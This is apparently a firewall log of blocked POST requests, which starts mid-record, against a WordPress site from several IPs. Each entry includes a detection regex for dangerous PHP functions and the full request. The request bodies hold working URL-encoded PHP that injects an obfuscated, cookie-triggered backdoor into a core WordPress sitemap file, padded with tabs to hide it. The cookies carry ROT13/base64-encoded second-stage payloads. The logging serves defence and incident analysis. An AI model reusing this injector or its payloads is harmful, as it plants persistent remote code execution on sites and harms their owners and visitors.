0%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:54:13","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4366\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nVC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:54:16","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4366\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nWC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:54:25","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4366\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\n\nxe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
